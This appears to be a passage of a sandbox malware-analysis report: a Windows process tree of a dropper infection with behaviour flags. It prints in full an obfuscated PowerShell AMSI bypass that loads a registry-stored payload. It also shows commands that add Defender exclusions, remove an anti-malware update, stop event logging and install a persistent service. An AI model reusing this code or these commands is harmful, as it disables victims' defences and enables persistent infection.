PID 6136 wrote to memory of 3948	6136	f.exe	94
PID 6136 wrote to memory of 3948	6136	f.exe	94
PID 3252 wrote to memory of 3136	3252	cmd.exe	101
PID 320 wrote to memory of 2388	320	rjyzvekkqzsi.exe	111
PID 320 wrote to memory of 2388	320	rjyzvekkqzsi.exe	111
PID 320 wrote to memory of 2388	320	rjyzvekkqzsi.exe	111
PID 320 wrote to memory of 2388	320	rjyzvekkqzsi.exe	111
PID 320 wrote to memory of 2388	320	rjyzvekkqzsi.exe	111
PID 320 wrote to memory of 5700	320	rjyzvekkqzsi.exe	113
PID 320 wrote to memory of 5700	320	rjyzvekkqzsi.exe	113
PID 320 wrote to memory of 5700	320	rjyzvekkqzsi.exe	113
PID 320 wrote to memory of 5700	320	rjyzvekkqzsi.exe	113
PID 320 wrote to memory of 5700	320	rjyzvekkqzsi.exe	113
PID 320 wrote to memory of 5700	320	rjyzvekkqzsi.exe	113
PID 320 wrote to memory of 5700	320	rjyzvekkqzsi.exe	113
PID 320 wrote to memory of 5700	320	rjyzvekkqzsi.exe	113
PID 320 wrote to memory of 5952	320	rjyzvekkqzsi.exe	114
PID 320 wrote to memory of 5952	320	rjyzvekkqzsi.exe	114
PID 320 wrote to memory of 5952	320	rjyzvekkqzsi.exe	114
PID 5964 wrote to memory of 4288	5964	cmd.exe	115
PID 3168 wrote to memory of 2236	3168	powershell.EXE	118
PID 3168 wrote to memory of 2236	3168	powershell.EXE	118
PID 3168 wrote to memory of 2236	3168	powershell.EXE	118
PID 3168 wrote to memory of 2236	3168	powershell.EXE	118
PID 3168 wrote to memory of 2236	3168	powershell.EXE	118
PID 2236 wrote to memory of 636	2236	dllhost.exe	5
PID 2236 wrote to memory of 692	2236	dllhost.exe	7
PID 2236 wrote to memory of 900	2236	dllhost.exe	11
PID 2236 wrote to memory of 408	2236	dllhost.exe	13
PID 2236 wrote to memory of 672	2236	dllhost.exe	14
PID 2236 wrote to memory of 404	2236	dllhost.exe	15
PID 2236 wrote to memory of 1112	2236	dllhost.exe	17
PID 2236 wrote to memory of 1196	2236	dllhost.exe	18
PID 2236 wrote to memory of 1212	2236	dllhost.exe	19
PID 2236 wrote to memory of 1232	2236	dllhost.exe	21
PID 2236 wrote to memory of 1288	2236	dllhost.exe	22
PID 2236 wrote to memory of 1296	2236	dllhost.exe	23
PID 2236 wrote to memory of 1316	2236	dllhost.exe	24
PID 2236 wrote to memory of 1492	2236	dllhost.exe	26
PID 2236 wrote to memory of 1628	2236	dllhost.exe	27
PID 2236 wrote to memory of 1748	2236	dllhost.exe	28
PID 2236 wrote to memory of 1764	2236	dllhost.exe	29
PID 2236 wrote to memory of 1876	2236	dllhost.exe	30
PID 2236 wrote to memory of 1900	2236	dllhost.exe	31
PID 2236 wrote to memory of 1908	2236	dllhost.exe	32
PID 2236 wrote to memory of 2024	2236	dllhost.exe	33
PID 2236 wrote to memory of 2044	2236	dllhost.exe	34
PID 2236 wrote to memory of 2000	2236	dllhost.exe	35
PID 2236 wrote to memory of 2052	2236	dllhost.exe	36
PID 2236 wrote to memory of 2180	2236	dllhost.exe	37
PID 2236 wrote to memory of 2224	2236	dllhost.exe	38
PID 2236 wrote to memory of 2284	2236	dllhost.exe	39
PID 2236 wrote to memory of 2400	2236	dllhost.exe	41
PID 2236 wrote to memory of 2560	2236	dllhost.exe	42
PID 2236 wrote to memory of 2568	2236	dllhost.exe	43

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:672
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2664d16d-d86c-4a7f-883a-aaef5f2a498f}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2236
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{781c7cc0-33ce-498e-984f-c58df7519cbf}
  2⤵
  PID:2804

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a0dd8482-3760-4a66-bf93-7fb79912cb59 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e4019538-74f3-4633-beec-abb675001e7f -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-eaf7f9cd-74ed-41fb-ad1c-3e0c555a12ea -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-cf329fa4-bcd5-4540-a71b-fa6611592ce9 -LifetimeId:312eb990-f648-4207-ad1d-5867638d0978 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:aujrOkrQJite{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YbBaMUeRICNEyj,[Parameter(Position=1)][Type]$ArZvXHSMUf)$zuqykFdNszN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+'Mod'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+'De'+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+','+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+'A'+'n'+''+'s'+''+[Char](105)+''+'C'+''+'l'+''+[Char](97)+'s'+[Char](115)+','+[Char](65)+''+'u'+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$zuqykFdNszN.DefineConstructor('RT'+'S'+''+'p'+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+'Na'+'m'+''+'e'+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YbBaMUeRICNEyj).SetImplementationFlags('R'+[Char](117)+'n'+'t'+'im'+[Char](101)+',M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$zuqykFdNszN.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+'bl'+[Char](105)+'c'+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+'B'+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+',Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+'l',$ArZvXHSMUf,$YbBaMUeRICNEyj).SetImplementationFlags('Ru'+'n'+''+'t'+'i'+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $zuqykFdNszN.CreateType();}$VzakbKZYBmqMX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'Win'+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+'f'+'e'+[Char](78)+'a'+[Char](116)+''+'i'+'v'+'e'+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+'o'+'d'+''+[Char](115)+'');$nhpAafmJKewRfm=$VzakbKZYBmqMX.GetMethod(''+'G'+''+'e'+''+'t'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FyMfUQaoxDQkJTweMuK=aujrOkrQJite @([String])([IntPtr]);$sJmgUNGLXFbwudNsLAMjLU=aujrOkrQJite @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pMsbrepTKOL=$VzakbKZYBmqMX.GetMethod('Get'+[Char](77)+'od'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'rn'+[Char](101)+''+'l'+'3'+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$jfKJPkiXnQkJPA=$nhpAafmJKewRfm.Invoke($Null,@([Object]$pMsbrepTKOL,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+'L'+'i'+[Char](98)+'ra'+'r'+''+[Char](121)+'A')));$KQzueXUvbRDBSYgbi=$nhpAafmJKewRfm.Invoke($Null,@([Object]$pMsbrepTKOL,[Object](''+[Char](86)+''+'i'+'r'+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+'t'+[Char](101)+'c'+'t'+'')));$CDtCxQt=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jfKJPkiXnQkJPA,$FyMfUQaoxDQkJTweMuK).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$omEJImFFxaXfrtGod=$nhpAafmJKewRfm.Invoke($Null,@([Object]$CDtCxQt,[Object]('Am'+[Char](115)+''+[Char](105)+'S'+'c'+'a'+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$LVYgpdlxob=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KQzueXUvbRDBSYgbi,$sJmgUNGLXFbwudNsLAMjLU).Invoke($omEJImFFxaXfrtGod,[uint32]8,4,[ref]$LVYgpdlxob);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$omEJImFFxaXfrtGod,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KQzueXUvbRDBSYgbi,$sJmgUNGLXFbwudNsLAMjLU).Invoke($omEJImFFxaXfrtGod,[uint32]8,0x20,[ref]$LVYgpdlxob);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+'WAR'+'E'+'').GetValue(''+[Char](100)+''+'i'+'ale'+[Char](114)+''+'s'+'t'+'a'+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3168
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qlijQwJfYCUT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$tuTClfixRIIlfB,[Parameter(Position=1)][Type]$gPsVSkuyer)$tDrqXSNHNTJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+'l'+[Char](101)+''+'c'+''+'t'+''+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+'od'+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'le'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+'y'+''+[Char](112)+'e','C'+'l'+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](80)+'ub'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+'s'+[Char](105)+'C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'A'+''+'u'+''+[Char](116)+'o'+[Char](67)+''+'l'+'a'+[Char](115)+'s',[MulticastDelegate]);$tDrqXSNHNTJ.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'p'+[Char](101)+'c'+'i'+''+[Char](97)+'lN'+[Char](97)+''+[Char](109)+'e'+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+'g'+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$tuTClfixRIIlfB).SetImplementationFlags('R'+'u'+''+'n'+''+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$tDrqXSNHNTJ.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+'ok'+'e'+'','Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+'deB'+[Char](121)+''+[Char](83)+'ig'+[Char](44)+''+[Char](78)+''+'e'+'w'+[Char](83)+''+'l'+'o'+[Char](116)+''+[Char](44)+''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$gPsVSkuyer,$tuTClfixRIIlfB).SetImplementationFlags('Runt'+[Char](105)+''+'m'+''+'e'+','+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $tDrqXSNHNTJ.CreateType();}$OeMEVESAPQJSA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+'f'+[Char](101)+''+'N'+'a'+'t'+''+[Char](105)+''+'v'+'e'+'M'+''+'e'+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$pnMCmouoIFrMkZ=$OeMEVESAPQJSA.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+'r'+''+'e'+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+'t'+''+'a'+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$uFHjnUBTHFCMrLyjiqD=qlijQwJfYCUT @([String])([IntPtr]);$UyrdyLVWjoUzQlvUsJrUfu=qlijQwJfYCUT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VVbQOMunjve=$OeMEVESAPQJSA.GetMethod(''+'G'+''+'e'+''+'t'+''+[Char](77)+''+[Char](111)+''+'d'+'ul'+[Char](101)+''+[Char](72)+'a'+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+'n'+'e'+'l'+''+[Char](51)+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+'l')));$nDupyETmUmgDkK=$pnMCmouoIFrMkZ.Invoke($Null,@([Object]$VVbQOMunjve,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+'a'+'ry'+[Char](65)+'')));$rVIIgWLBgkiBZEdJN=$pnMCmouoIFrMkZ.Invoke($Null,@([Object]$VVbQOMunjve,[Object](''+[Char](86)+'i'+'r'+''+[Char](116)+''+[Char](117)+'al'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+'e'+''+[Char](99)+'t')));$mgwwGRx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nDupyETmUmgDkK,$uFHjnUBTHFCMrLyjiqD).Invoke(''+[Char](97)+'m'+'s'+'i'+'.'+'d'+[Char](108)+''+[Char](108)+'');$iKFIcRFhTfUZwwUMz=$pnMCmouoIFrMkZ.Invoke($Null,@([Object]$mgwwGRx,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+'ffe'+[Char](114)+'')));$ZBJzAJqhia=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rVIIgWLBgkiBZEdJN,$UyrdyLVWjoUzQlvUsJrUfu).Invoke($iKFIcRFhTfUZwwUMz,[uint32]8,4,[ref]$ZBJzAJqhia);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$iKFIcRFhTfUZwwUMz,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rVIIgWLBgkiBZEdJN,$UyrdyLVWjoUzQlvUsJrUfu).Invoke($iKFIcRFhTfUZwwUMz,[uint32]8,0x20,[ref]$ZBJzAJqhia);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+'s'+[Char](116)+''+'a'+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5740
- C:\Program Files (x86)\Mozilla Maintenance Service\winlogon.exe
  "C:\Program Files (x86)\Mozilla Maintenance Service\winlogon.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5748
- C:\Program Files (x86)\Windows NT\fontdrvhost.exe
  "C:\Program Files (x86)\Windows NT\fontdrvhost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2360
- C:\Program Files (x86)\Mozilla Maintenance Service\winlogon.exe
  "C:\Program Files (x86)\Mozilla Maintenance Service\winlogon.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1596
- C:\Program Files (x86)\Windows NT\fontdrvhost.exe
  "C:\Program Files (x86)\Windows NT\fontdrvhost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1168
- C:\Program Files (x86)\Mozilla Maintenance Service\winlogon.exe
  "C:\Program Files (x86)\Mozilla Maintenance Service\winlogon.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5664
- C:\Program Files (x86)\Windows NT\fontdrvhost.exe
  "C:\Program Files (x86)\Windows NT\fontdrvhost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1296

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1492
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2224

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
PID:2604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2924

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3140
- C:\Users\Admin\AppData\Local\Temp\keshka.exe
  "C:\Users\Admin\AppData\Local\Temp\keshka.exe"
  2⤵
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Program Files (x86)\Windows NT\fontdrvhost.exe
    "C:\Program Files (x86)\Windows NT\fontdrvhost.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\fontdrvhost.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\fontdrvhost.exe" -
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5388
  - - C:\Program Files\Google\Chrome\Application\fontdrvhost.exe
      "C:\Program Files\Google\Chrome\Application\fontdrvhost.exe" -
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5376
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "start C:\Users\Admin\AppData\Local\Temp/f.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1516
    - - C:\Users\Admin\AppData\Local\Temp\f.exe
        
        C:\Users\Admin\AppData\Local\Temp/f.exe
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:6136
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3844
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3252
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:3136
      - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        6⤵
        
        PID:3948
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OXBNXCPO"
        6⤵
        Launches sc.exe
        
        PID:1164
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OXBNXCPO" binpath= "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:5696
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:800
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OXBNXCPO"
        6⤵
        Launches sc.exe
        
        PID:3548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3280

C:\Windows\system32\svchost.exe
